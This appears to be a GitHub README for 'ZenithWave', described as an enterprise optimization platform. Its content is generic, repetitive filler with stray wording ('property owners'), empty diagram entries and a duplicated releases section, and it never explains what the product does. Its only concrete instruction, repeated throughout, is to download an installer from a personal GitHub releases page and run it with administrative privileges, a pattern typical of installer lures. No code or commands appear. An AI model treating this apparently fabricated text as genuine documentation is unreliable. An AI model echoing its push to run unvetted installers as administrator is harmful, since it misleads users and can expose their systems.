See the Releases page

A professional, modern ZenithWave platform built to boost performance and scale for enterprise workloads. It combines a ZenithWave-optimized design with enterprise-grade optimization capabilities. The project emphasizes clean architecture, solid tooling, and a calm, confident approach to deployment and operation. Topics are not provided for this repository at this time.

Table of contents

• Overview
• Why ZenithWave
• Core ideas and design principles
• Architecture at a glance
• Getting started
• Installation and setup
• Quick start guide
• Configuration and environment
• Working with data
• APIs and integration
• Development workflow
• Testing and quality
• Deployment patterns
• Security and compliance
• Observability and reliability
• Performance and optimization
• Internationalization and accessibility
• Roadmap and future work
• Contributing
• Changelog
• Licensing and credits
• Contact and support

Overview ZenithWave is built to solve real-world enterprise needs. It focuses on reliable performance under load, clean separation of concerns, and a design that adapts to growing requirements. The platform supports modern design languages and provides optimization features that help teams tune workloads, reduce cost, and improve response times. It aims to be predictable, observable, and easy to operate across multiple environments.

Why ZenithWave matters

• Enterprise readiness: It is designed for teams that manage large deployments across several regions. It includes governance, role-based access, and audit-friendly operations.
• ZenithWave optimization: The platform ships with engine capabilities that help property owners and operators fine-tune workloads, pacing, and resource use.
• Modern design: The UI and UX follow current design standards, making it easier for teams to adopt and use effectively.
• Extensibility: The architecture supports plugins and integrations to fit diverse ecosystems.
• Reliability: The platform emphasizes resilience, testable components, and recoverability.

Core ideas and design principles

• Simplicity with power: The system stays simple where possible but adds depth where it matters.
• Clear boundaries: Each component has a single responsibility and communicates via well-defined interfaces.
• Observability by design: Metrics, logs, and traces are built in from the start.
• Safe defaults: Default configurations are secure and sensible for most use cases.
• Forward compatibility: The architecture accommodates future changes without breaking existing deployments.

Architecture at a glance

• Core Engine: The central processor for optimization tasks, workload orchestration, and rule evaluation.
• UI Layer: A modern, responsive interface for operators and developers.
• API Gateway: A stable surface for internal and external integrations.
• Data Layer: A scalable storage stack with strong consistency guarantees when needed.
• Identity and Access: RBAC, SSO, and auditing features to meet compliance needs.
• Observability Stack: Metrics, logs, and traces collected and surfaced for troubleshooting.
• Deployment and Orchestration: Supports containers and cloud-native deployment patterns.

The architecture is designed to be decomposed into services with clear contracts. Each service is independently deployable, testable, and scalable. The system favors asynchronous messaging where appropriate, and it provides consistent runtime environments across development, staging, and production.

Getting started If you are evaluating ZenithWave for your team, start with the Releases page to obtain the installer or package for your platform. The installer provides a guided setup that configures core components and enables you to begin testing quickly. The releases page is the primary distribution point for deployment artifacts and update material.

Installation and setup

• Prerequisites
  • A supported operating system (Windows, macOS, Linux) with current security updates.
  • Sufficient CPU and memory for the intended workload. A baseline of 4 cores and 8 GB RAM is a practical starting point for light workloads; larger environments benefit from more headroom.
  • Network access to required services and endpoints used by ZenithWave. This includes cloud accounts, identity providers, and data stores as defined by your deployment plan.
  • Administrative rights for installing services and configuring system components.
• Getting the installer
  • The latest installer or distribution package is available on the Releases page. From the Releases page, download the appropriate artifact for your platform and follow the on-screen prompts.
  • The releases page is the canonical source for versioned builds, updates, and changelogs.
• Onboarding and initial configuration
  • Run the installer with administrative privileges.
  • Follow the guided setup to configure core components, including identity, data stores, and the first set of optimization rules.
  • Connect to your environment’s cloud accounts or on-prem resources as needed.
  • Confirm that health checks pass and monitor the initial bootstrap through the UI dashboards.
• Post-install basics
  • Create the first administrator account and define access policies.
  • Enable basic monitoring and alerting to track health and performance.
  • Review sample optimization rules and tailor them to your workload patterns.

Quick start guide

• Start a new project
  • Open the UI and create a project named “FirstDeployment.”
  • Add a small, representative workload to test the optimization pipeline.
• Run a basic optimization
  • Use a pre-defined rule set designed for baseline performance.
  • Observe metrics such as throughput, latency, and error rates as the optimization runs.
• Validate results
  • Compare baseline and post-optimization metrics.
  • Verify that security, access controls, and logging remain intact.
• Extend step-by-step
  • Add a new integration with your data source.
  • Create an additional rule to optimize a different workload segment.
  • Save and deploy; monitor the system’s response to changes.

Configuration and environment

• Configuration model
  • Configuration is expressed through a mix of environment variables, YAML/JSON files, and platform-specific settings.
  • Common categories include: security, networking, data storage, and optimization rules.
• Environment variables (examples)
  • ZW_APP_ENV=production
  • ZW_LOG_LEVEL=info
  • ZW_MAX_WORKERS=16
  • ZW_DATA_STORE_URL=postgres://user:pass@db.example.com:5432/zenith
  • ZW_API_ENDPOINT=https://api.example.com
• Configuration files
  • config.yaml: Core settings for the engine and orchestration backends.
  • rules.yaml: Declarative optimization rules for workloads.
  • ui_settings.json: UI customization and feature toggles.
• Secrets management
  • Use your platform’s secret management service or a secure vault.
  • Do not hard-code credentials in files. Reference secrets via environment variables or API calls.
• Local development vs. production
  • Local development uses mock data sources and simplified configurations.
  • Production deployments rely on full data stores, cloud services, and robust security controls.
• Localization and accessibility
  • The UI supports multiple languages and accessible controls per WCAG guidance.
  • Add language packs via the configuration and verify keyboard navigation and screen reader compatibility.

Working with data

• Data model overview
  • The platform uses a modular data model with entities for workloads, rules, runs, results, and audit trails.
  • Relationships are defined with clear foreign keys and indices to support fast queries.
• Data stores
  • Primary relational store for configuration and metadata (e.g., PostgreSQL).
  • Time-series store for performance metrics and telemetry (e.g., Prometheus, or a compatible store).
  • Optional search index for fast lookups (e.g., Elasticsearch).
• Data integrity
  • Validation rules run at the edge of write paths.
  • Transactions ensure consistency across critical updates.
• Data retention
  • Policies determine how long telemetry and logs are kept.
  • Archival processes move older data to cold storage or external repositories.
• Data access controls
  • Fine-grained access policies govern who can read or modify data.
  • Audit logs capture changes to configurations and rules.

APIs and integration

• API surface
  • RESTful endpoints cover core operations for workloads, rules, runs, and results.
  • A GraphQL interface is available for flexible queries in advanced use cases.
• Authentication and authorization
  • Integrates with enterprise identity providers via OAuth2 or SAML SSO.
  • RBAC defines permissions across resources and actions.
• Webhooks and events
  • Event streams notify external systems about run results, failures, or configuration changes.
• Example workflows
  • Create a workload, apply a rule, run optimization, collect results, and export a report.
  • Integrate with a CI/CD pipeline to optimize build and deployment workloads automatically.

Development workflow

• Local setup
  • Install dependencies and run in a development container or local runtime.
  • Use lightweight data stores for quick feedback loops.
• Building from source
  • Follow the build commands in the contribution guide to compile the engine, UI, and services.
  • Run unit tests and integration tests to validate changes.
• Debugging
  • Use the built-in logs and dashboards to identify bottlenecks or misconfigurations.
  • Attach debuggers to services where appropriate and inspect live state.
• Testing
  • Run unit tests first, then integration tests in a staging environment.
  • Validate end-to-end workflows with representative workloads.
• Documentation
  • Update API docs and developer guides as the code evolves.
  • Include examples and clear usage notes for new features.

Testing and quality

• Test strategy
  • A layered approach combines unit tests, integration tests, and end-to-end tests.
  • Tests cover functional correctness, performance targets, and security considerations.
• Performance tests
  • Simulate real workloads to observe optimization behavior under load.
  • Track latency, throughput, resource usage, and error rates.
• Security tests
  • Validate authentication, authorization, and data protection.
  • Include checks for common vulnerabilities and configuration drift.
• Code quality
  • Enforce style guides and static analysis.
  • Maintain readable, maintainable code with good test coverage.

Deployment patterns

• Containerized deployment
  • The platform ships as containers that can run on a single host or in a cluster.
  • Orchestrate with Kubernetes for scalable, resilient deployments.
• Cloud-native patterns
  • Use managed services for storage, identity, and networking where possible.
  • Enable autoscaling and rolling updates to minimize downtime.
• On-prem deployments
  • Provide an edge-friendly deployment option with secure networking and offline capabilities where needed.
• Observability and alerts
  • Integrate with your existing monitoring stack.
  • Set up dashboards for health, performance, and security metrics.

Security and compliance

• Identity and access
  • Implement strong authentication and access control checks.
  • Use MFA where feasible and enforce least privilege access.
• Data protection
  • Encrypt data in transit and at rest.
  • Implement proper key management practices.
• Compliance
  • Align with common enterprise requirements for audit logging and change control.
  • Provide traceability for configuration changes and optimization runs.

Observability and reliability

• Metrics
  • Core metrics include health signals, throughput, latency, and resource usage.
  • Export metrics to your preferred monitoring platform.
• Logging
  • Centralized logging supports search and correlation across services.
  • Log formats are consistent to ease analysis.
• Tracing
  • Distributed tracing helps identify bottlenecks across components.
  • Trace data supports root-cause analysis for failures.
• Reliability patterns
  • Implement retries, circuit breakers, and graceful degradation.
  • Design for high availability and fault tolerance.

Performance and optimization

• Core optimization engine
  • The engine analyzes workloads and applies rules to improve performance and efficiency.
  • It supports rule versioning and rollback if needed.
• Resource tuning
  • Fine-tune CPU, memory, and I/O settings to match workload characteristics.
  • Use adaptive strategies to respond to changing demand.
• Cost awareness
  • Track resource usage against cost metrics.
  • Provide recommendations to reduce waste without sacrificing functionality.

Internationalization and accessibility

• Localization
  • Language packs and regional formats are supported.
  • Easy extension path for new locales.
• Accessibility
  • Keyboard navigation and screen reader support are prioritized.
  • Color contrasts and scalable UI elements are provided.

Roadmap and future work

• Short-term goals
  • Improve onboarding experience and add more sample workloads.
  • Expand integration options with common cloud services.
• Mid-term goals
  • Add more advanced optimization models and rule templates.
  • Enhance security features and compliance tooling.
• Long-term vision
  • Simplify multi-region deployments and autonomous optimization workflows.
  • Extend observability with richer analytics and AI-assisted recommendations.

Contributing

• How to contribute
  • Open issues to discuss new ideas and report bugs.
  • Create pull requests with clear descriptions and tests.
• Code style and quality
  • Follow the project’s style guidelines and naming conventions.
  • Include unit tests for new features and changes.
• Running tests locally
  • Use the provided test harness to run unit and integration tests.
  • Validate changes against representative workloads before proposing a merge.

Changelog

• Keeping track of changes helps teams plan upgrades.
• The changelog outlines new features, improvements, and fixes for each release.
• Read the latest release notes in the Releases section for context and impact.

License

• This project uses a permissive license suitable for enterprise adoption.
• The license file explains usage rights, attribution, and restrictions.

Credits and acknowledgments

• Contributions from developers, testers, and designers help this project grow.
• Acknowledgments for tooling, libraries, and resources that power ZenithWave.

Releases and distribution

• The primary way to obtain the platform is through the official Releases page. It hosts installers, packages, and release notes for each version. Installers and packages are provided for multiple platforms and configurations. For installers, download from the releases page and run according to the platform guidelines. The releases page is the authoritative source for installation material and update guidance.
• For installers, download from https://github.com/davidwest2210/ZenithWave/releases.

Documentation and resources

• API documentation outlines all endpoints, schemas, and query patterns.
• Developer guides cover architecture details, testing approaches, and contribution workflows.
• User guides describe everyday tasks, troubleshooting steps, and optimization strategies.
• Diagrams and visuals illustrate architecture, data flows, and deployment patterns.

Images and diagrams

• Architecture diagram:
• UI mockup:
• Logo:

Appendix: quick references

• Installers and updates: see the Releases page for the latest builds.
• Community and support: check the repository discussions and issues for questions and feedback.
• Configuration samples: refer to the config files in the docs directory to see practical examples.

End notes

• ZenithWave is designed to be approachable yet powerful. It aims to empower teams to optimize workloads with clarity and confidence.
• The project welcomes collaboration and thoughtful experimentation. The architecture supports growth as teams adopt new workloads and integrate additional services.

Releases and distribution again

• Installers and updates are available via the Releases page. For installers, download from https://github.com/davidwest2210/ZenithWave/releases. This link is the primary distribution channel for versioned builds, and it hosts the latest installer artifacts and accompanying notes. Users should refer to the Releases section to obtain the correct package for their platform and to review upgrade notes.